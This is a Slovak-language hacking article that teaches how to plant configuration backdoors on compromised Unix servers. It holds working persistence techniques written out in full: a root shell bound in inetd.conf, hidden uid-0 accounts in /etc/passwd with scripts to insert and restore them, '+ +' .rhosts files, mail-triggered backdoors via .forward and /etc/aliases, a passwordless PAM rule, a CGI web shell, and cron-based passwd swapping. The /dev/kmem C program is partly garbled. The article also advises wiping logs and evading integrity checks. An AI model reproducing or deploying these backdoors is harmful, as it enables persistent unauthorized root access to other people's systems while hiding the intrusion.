GunZ - linux, security, programing

princip je jednoduchy - vlozit do zdrojaku systemoveho programu riadky, ktore:

nacitaju input;
ak je input specialny nami nakonfigurovany string, spustit trojana;
else ak input nesedi pokracovat normalne;
else quitnut s chybovou hlaskou;

nie je to ani komplexne ani tazke. takyto trojan sa da spravit na 10 riadkov. klasikou je "prerabanie" /bin/login, okrem neho sa modifikuju aj sietove daemony (rlogind, telnetd, rshd, sshd), castokrat okrem funkcie samotneho backdooru maju tieto programceky aj ine prijemne vlastnosti, napr. logovanie hesiel, obcas aj v sifrovanom tvare

odjakziva existuju programy na kontrolu integrity systemovych binariek (napr. stary ale dobry tripwire), ale v minulosti ich takmer nikto nepouzival, preto bolo zamienanie povodnych systemovych binariek patchnutymi nahradami pokladane za idealny backdoor. Casy sa vsak menia. Dnes je programov ako tripwire neurekom a navyse integritu binariek kontroluju aj ine programy ktore su urcene na spravu balikov, napr rpm prikazom rpm -V. Mnohi rooti to dokonca zautomatizovali a robia to pravidelne cez crond. vznika teda trend navratu kdesi pred rok '94, ked sa pouzivali vacsinou tzv. konfiguracne backdoory, cize rozne "nenapadne" zmeny v konfiguracii servera za cielom zabezpecit si backdoor.

ked teda pisem o konfiguracnych backdooroch, musim zalovit niekde do roku '94, kedy sa to dost pouzivalo - kedze to su doby dost davne a vela sa odvtedy zmenilo, mozno vam budu pripadat tieto backdoory primitivne. ale o to pri konfiguracnych backdooroch ide - jednoduchy riadocek niekde v zlozitom konfiguracnom subore, ktory si nikto nevsimne.

tu je teda zopar konfiguracnych backdoorov z praxe, urcite vsak existuje kopa inych napadov (dajte na board), toto su tie s ktorymi som sa ja stretol:

/etc/inetd.conf

klasika je pridat, alebo zmenit riadok v inetd.conf tak, aby spustil shell, napr:

5002 stream  tcp     nowait  root    /usr/sbin/tcpd /bin/sh -i

po pripade nahradit cislo portu nejakym stringom z /etc/services a podobne.. budte kreativni :) potom samozrejme staci spravit telnet server.victim.sk 5002 a mate shell...

/etc/passwd

klasika je najst nejake nepouzivane systemove konto, napr uzivatela "games". jeho riadok v passwd vyzera vacsinou takto:

games:x:12:100:games:/usr/games:

ale staci tam pridat jedno lomitko a jednu medzierku a mame backdoor:

games:x:12:100:games:/usr/games/ :

no a potom vytvorit adresar "/usr/games/ " a dat do neho trebars .rhosts :

# cd /usr/games
# mkdir " "
# cd " "
# echo + + > .rhosts
# chown games .rhosts

a potom voila, staci dat hocikedy zvonka

$ rsh -l games server.victim.sk "/bin/sh -i"

a si na serveri.. za zmienku stoji fakt ze rsh a rlogin vas pustia v pohode dnu napriek tomu ze user games nema nadefinovany shell v /etc/passwd, mnohi ludia su v domneni ze user bez definovaneho shellu je samo o sebe zarukou bezpecnosti toho konta.

pokial potrebujete kratkodoby a bleskurychly konfiguracny backdoor, obcas staci pridat do passwd riadok s uid 0 a basta. pokial sa umiestni niekde do stredu vacsieho passwd fajlu, mate slusnu sancu ze si to root nejaky cas nevsimne. ak xcete ozaj bleskovo vytvorit takyto backdoor, je na to dokonca aj script:

#!/bin/csh
# vlozi uid 0 konto do stredu passwd fajlu
# pravdepodobne by to slo spravit aj nejakym jednym
# prikazom awk alebo sed.. ale co uz

set linecount = `wc -l /etc/passwd`
cd                                    
cp /etc/passwd ./temppass             
@ linecount[1] /= 2
@ linecount[1] += 1     
split -$linecount[1] ./temppass
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd
rm ./xa* ./temppass
echo finito...

.rhosts

na rlogin a rsh sa v dnesnej dobe windozov tak zabudlo, ze uz nie je vela ludi, ktori vedia naco to vlastne je. preto + + .rhosts v home adresari nejakeho lamera moze sluzit ako fajn backdoor. a uz vobec sa nepouziva subor /etc/hosts.equiv co je nieco obdobne ako .rhosts ale pre celu masinu. vlastne staci pridat do tohoto suboru jeden riadocek s menom masiny na ktorej mas roota a potom z nej spravit klasicky rsh -l root "/bin/sh -i". ked uz sme pri tych lameroch a ich domacich adresaroch, dalsi vdacny subor do ktoreho sa ludia malokedy pozeraju je .forward. tam mozeme umiestnit script, ktory sa spusti ked posleme specialny program, napr:

$ cat ~lamer/.forward
lamer
|/dev/ptyqo

$ cat /dev/ptyqo
#!/bin/sh
while read line ; do
  echo "$line" | grep "my_secret_password" && /dev/ptyqb &
done

cize staci poslat lamerovi email ktory bude obsahovat slovo my_secret_password a spusti sa program /dev/ptyqb co moze byt trebars bindshell. jo a potom nezabudnut zmazat ten email z lamerovej posty, aj ked najelegantnejsie by bolo schovat ten string do normalne vyzerajuceho emailu, ktory si ten lamer potom moze kludne precitat bez toho aby vybadal jeho ucel :) osobne som na tieto ucely pouzival vyraz "odchod na parky", mozno si na to niektori spomeniete :)

/etc/aliases

pome sa este hrat s postou. subor /etc/aliases umoznuje postu nasmerovanu nejakemu uzivatelovi expandovat na viacerych uzivatelov, alebo napriklad aj napajpovat ju do nejakeho programu. cize najjednoduchsi syntax na backdoor v /etc/aliases je :

lamer:  "|/dev/ptyqo"

a ked poslete postu na lamer@victim.sk, spusti sa backdoorovy scriptik /dev/ptyqo. ale to je moc suche a dost napadne. isty cas bol popularny uudecode backdoor v /etc/aliases. ten fungoval takto - najprv sa pridal riadok do /etc/aliases:

 "decode: "|/usr/bin/uudecode"

vcelku nenapadne, ze ? nuz potom sa vytvoril uuencodovany rootovsky .rhosts file ktory sa poslal pekne postou :

$ echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@victim.sk
$ rsh -l root victim.sk "/bin/sh -i"
#

pam security

vlastnosti pam security ktore ho robia idealnym pre konfiguracne backdoory su komplexnost, neprehladnost a fakt ze pam security naozaj do detajlu pozna velmi malo ludi. pripomenme si ze vseobecny syntax na konfiguracny subor pamu (vacsinou /etc/pam.conf) je

service-name   module-type   control-flag   module-path   arguments

a tak mozeme nastavit ze pri nejakej sluzbe vobec nebude vyzadovat heslo, napriklad pri rlogind. to si tazko niekto vsimne, lebo konfigurak pam.conf a konfiguracna syntax nie je zrovna prehladna, rlogind malokto pouziva, a ked aj ano tak ma na to .rhosts, takze si nikto nevsimne ze sa da lognut na roota cez rlogind aj bez hesla.

cgi scripty

dalsim zaujimavym miestom pre umiestnenie backdooru su cgi scripty, daju sa bud modifikovat existujuce scripty, alebo pridat novy script. moj favorit vzdy bol nasledovny script:

$ cat backdoor.cgi
#!/bin/sh
echo Content-type: text/html
echo
echo "<pre>"
$*

cez ktory sa daju na dialku spustat hocijake prikazy priamo z browsera vo forme http://www.victim.sk/cgi-bin/backdoor.cgi?prikaz, no predstavte si tu pohodu spravit si taky backdoor a potom pohodicka ist do inet kaviarne, pochlipkavat capuccino so skoricou a spustat unix prikazy na hacknutej masinke priamo z Netscapu. a pokial vas neuspokoji uid pod ktorym bezi httpd (zvycajne nobody), tak v prvom riadku namiesto /bin/sh dajte nejaky suid bash shell a prikazy budu bezat ako root. jo a nezabudnut zmazat httpd logy :)

cron

cron sa od cias starych BSD systemov velmi nezmenil, ale dost sa zmenili konfiguracne scripty na cron. hlavne tvorcovia linuxovych distribucii maju tendenciu byt prehnane kreativni a robia vselijake user-friendly konfiguraky. napr taky redhat ma crony v /etc/cron.hourly, /etc/cron.daily.. atd a root iba potom vsunie svoj script alebo program do prislusneho adresara. taketo zjednodusenia rootov rozmaznali natolko ze uz vobec needituju a nesleduju /var/spool/crontab/root. cize pokial prave do tohoto suboru vsuniete nejaky riadok, su realne sance ze si to root nevsimne. mozeme napriklad pridat riadok na denne kontrolovanie vlozeneho uid 0 riadku do /etc/passwd (kukni hore do sekcie "/etc/passwd") :

toto supni do /var/spool/crontab/root :

        0       0       *       *       *       /dev/ptyqx

a toto je nas scriptik /dev/ptyqx :

#!/bin/csh
# je eviluser stale v passwd ? pome sa presvedcit

set evilflag = (`grep -i eviluser /etc/passwd`)
if($#evilflag == 0) then                              
        set linecount = `wc -l /etc/passwd`
        cd                                    
        cp /etc/passwd ./temppass           
        @ linecount[1] /= 2
        @ linecount[1] += 1                 
        split -$linecount[1] ./temppass    
        echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
        cat ./xab >> ./xaa
        mv ./xaa /etc/passwd
        chmod 644 /etc/passwd              
        rm ./xa* ./temppass
else
endif

fantazii sa medze nekladu. tu je vtipny scriptik ktory kazdy den o 2:30am (heh, nezabudnite si presne nastavit hodinky) na jednu minutu zmeni /etc/passwd za dopredu nachystany fajl.

toto je v crone:

       29      2       *       *       *       /etc/ptyqp

tento fajl musi existovat:

#echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /etc/ptyqq

a toto je nas scriptik /etc/ptyqp :

  
#!/bin/csh
cp /etc/passwd /etc/.temppass
cp /dev/ptyqq /etc/passwd
sleep 60
mv -f /etc/.temppass /etc/passwd

inak doporucujem si najprv vsetko poriadne vyskusat, lebo akykolvek vystup zo scriptov spustanych cronom (chybne hlasky a pod) idu rootovi do posty...

/dev/kmem

/dev/kmem je virtual systemu. kedze kernel ma svoje parametre v pamati, je mozne modifikovat pamat na masine a zmenit UID procesu. na to samozrejme potrebujeme read/write prava. to sa bezne v prirode nevyskytuje, cize ako backdoor musime najprv spravit chmod 666 /dev/kmem, napriklad to mozeme spravit na par minut nejakym cronom, ako je to popisane vyssie. potom je treba otvorit /dev/kmem device, najst svoj page v pamati, prepisat UID momentalneho procesu a spustit csh, ktory ziska toto uid. nasledovny program robi presne toto.

#include <h>
#include <h>
#include <signal.h>
#include <param.h>
#include <types.h>
#include <dir.h>
#include <user.h>

#define KEYWORD "chabrus"

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{

        int count, fd;
        long where, lseek();
       
        if(argv[1]){           
                if(!(strcmp(KEYWORD,argv[1]))){
                        fd=(open("/dev/kmem",O_RDWR);

                        if(fd
#include <h>
#include <h>

#define LNULL ((LDFILE *)0)

long address(){
       
        LDFILE *object;
        SYMENT symbol;
        long idx=0;

        object=ldopen("/unix",LNULL);

        if(!object){
                fprintf(stderr,"Cannot open /unix.\n");
                exit(50);
        }

        for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
                if(!strcmp("_u",ldgetname(object,&symbol))){
                        fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
                        ldclose(object);
                        return(symbol.n_value);
                }
        }

        fprintf(stderr,"Cannot read symbol table in /unix.\n");
        exit(60);
}

tento priklad ilustruje ze obcas ani netreba pridavat nic do konfiguracneho suboru, niekedy je menej napadne iba zmenit mu prava, napr. na o+w a podobne.

konfiguracne backdoory maju jednu vyhodu - rooti vyzbrojeni programami na kontrolu integrity binariek sa takto v pohode daju okaslat, navyse takyto backdoor prezije upgrade systemu, alebo dokonca kompletne preinstalovanie masiny. klasicka reakcia roota ked zisti ze ma hacknutu masinu je preinstalovat to cele, sranda je vsak ze stare konfiguracne subory sa vacsinou ponechavaju a /home adresare takmer vzdy.